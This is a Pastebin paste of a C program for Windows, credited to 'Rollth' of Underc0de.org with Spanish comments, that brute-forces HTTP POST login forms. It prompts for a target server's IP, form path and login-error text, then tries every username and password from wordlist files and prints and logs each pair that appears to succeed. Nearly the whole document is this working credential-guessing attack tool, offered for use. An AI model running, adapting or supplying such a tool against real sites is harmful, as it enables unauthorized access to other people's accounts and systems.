Advertisement
Guest User

Untitled

a guest
May 10th, 2017
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.01 KB | None | 0 0
  1. // HTTP BruteForcer Post Method
  2. // Coder: Rollth
  3. // Underc0de.org
  4. // hackingd0.blogspot.com.es
  5. // whateversec.blogspot.com.es
  6.  
  7.  
  8. #include <stdio.h>
  9. #include <string.h>
  10. #include <winsock2.h>
  11. #include <windows.h>
  12. #include <stdlib.h>
  13.  
  14. int main(){
  15.    
  16.     // Declaración de socket
  17.    
  18.     WSADATA wsa;
  19.     int sock;
  20.     struct sockaddr_in dir;
  21.     WSAStartup(MAKEWORD(2,0), &wsa);
  22.    
  23.    
  24.     sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  25.    
  26.     // Declaración de variables
  27.    
  28.     FILE *archivo1;
  29.     FILE *archivo2;
  30.     FILE *archivo3;
  31.     int puerto;
  32.     int acierto = 0;
  33.     int intentos = 0;
  34.     char ip[30];
  35.     char host[30];
  36.     char mensajeError[300];
  37.     char form[200];
  38.     char user[50];
  39.     char pass[50];
  40.     char user1[50];
  41.     char pass1[50];
  42.     char men[1000];
  43.     char men2[1000000];
  44.     int ContentLength;
  45.     char ContentLength2[5];
  46.    
  47.     // Simple decoración
  48.    
  49.     printf("###############################\n");
  50.     printf("#HTTP BruteForcer Post Method #\n");
  51.     printf("#Coder: Rollth                #\n");
  52.     printf("#Underc0de.org                #\n");
  53.     printf("#hackingd0.blogspot.com.es    #\n");
  54.     printf("#whateversec.blogspot.com.es  #\n");
  55.     printf("###############################\n\n");
  56.    
  57.     // Introducción de variables
  58.    
  59.     printf("IP del servidor a atacar: ");
  60.     scanf("%s", &ip);
  61.     printf("Host: ");
  62.     scanf("%s", &host);
  63.     printf("Puerto a atacar(80 si es HTTP o 443 si es HTTPS): ");
  64.     scanf("%d", &puerto);
  65.     printf("Nombre de la variable de user: ");
  66.     scanf("%s", &user);
  67.     printf("Nombre de la variable de password: ");
  68.     scanf("%s", &pass);
  69.     printf("Direccion del form: ");
  70.     scanf("%s", &form);
  71.     printf("Mensaje de error al logearse(Una sola palabra): ");
  72.     scanf("%s", &mensajeError);
  73.  
  74.     // Configurando conexión al servidor
  75.    
  76.     dir.sin_family=AF_INET;
  77.     dir.sin_port=htons(puerto);
  78.     dir.sin_addr.s_addr=inet_addr(ip);
  79.    
  80.     connect(sock, (struct sockaddr*)&dir,sizeof(dir));
  81.    
  82.     // Dos bucles para comprobar cada usuario con cada password
  83.    
  84.     archivo1 = fopen("usuarios.txt", "r");
  85.     archivo3 = fopen("salida.txt", "w");
  86.     fprintf(archivo3, "%s\n\n", host);
  87.     while(fscanf(archivo1, "%s", user1) != -1){
  88.        
  89.  
  90.         archivo2 = fopen("passwords.txt", "r");
  91.         while(fscanf(archivo2, "%s", pass1) != -1){
  92.            
  93.             memset(men, 0, sizeof(men));
  94.             memset(men2, 0, sizeof(men2));
  95.                
  96.             strcpy(men,"");
  97.             ContentLength = strlen(user) + strlen(pass) + strlen(user1) + strlen(pass1) + 3;
  98.             itoa(ContentLength, ContentLength2, 10);
  99.            
  100.             // Modifica el string men con el header y los datos a enviar.
  101.            
  102.             strcpy(men, "POST ");
  103.             strcat(men, form);
  104.             strcat(men, " HTTP/1.1\r\n");
  105.             strcat(men, "Host: ");
  106.             strcat(men, host);
  107.             strcat(men, "\r\nContent-type: application/x-www-form-urlencoded\r\n");
  108.             strcat(men, "Content-Length: ");
  109.             strcat(men, ContentLength2);
  110.             strcat(men, "\r\n\r\n");
  111.             strcat(men, user);
  112.             strcat(men, "=");
  113.             strcat(men, user1);
  114.             strcat(men, "&");
  115.             strcat(men, pass);
  116.             strcat(men, "=");
  117.             strcat(men, pass1);
  118.             strcat(men, "\r\n");
  119.            
  120.             // Envía y recibe datos
  121.            
  122.             send(sock, men, sizeof(men), 0);
  123.             recv(sock, men2, sizeof(men2), 0);
  124.            
  125.             fprintf(archivo3, "%s\n\n\n------\n\n\n", men);
  126.             fprintf(archivo3, "%s\n\n\n------\n\n\n", men2);
  127.            
  128.            
  129.             // Comprueba si la contraseña es correcta o incorrecta
  130.            
  131.             if(strstr(men2, mensajeError) == NULL){
  132.        
  133.                 printf("El usuario es: %s -- El password es: %s\n", user1, pass1);
  134.                 fprintf(archivo3, "El usuario es: %s -- El password es: %s\n", user1, pass1);
  135.                 acierto++;
  136.        
  137.             }
  138.            
  139.             // Contador de intentos
  140.            
  141.             intentos++;
  142.                
  143.             printf("Numero intentos: %d\r", intentos); 
  144.            
  145.             Sleep(100);
  146.            
  147.         }
  148.        
  149.         fclose(archivo2);
  150.        
  151.     }
  152.    
  153.     // Comprueba número de contraseñas encontradas.
  154.    
  155.     if(acierto == 0){
  156.         printf("Password no encontrada.\n");
  157.     }
  158.     else{
  159.         printf("Numero de passwords encontradas: %d\n", acierto);
  160.     }
  161.    
  162.     // Final del programa
  163.    
  164.     closesocket(sock);
  165.     fclose(archivo1);
  166.     fclose(archivo3);
  167.     system("pause");
  168.  
  169. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement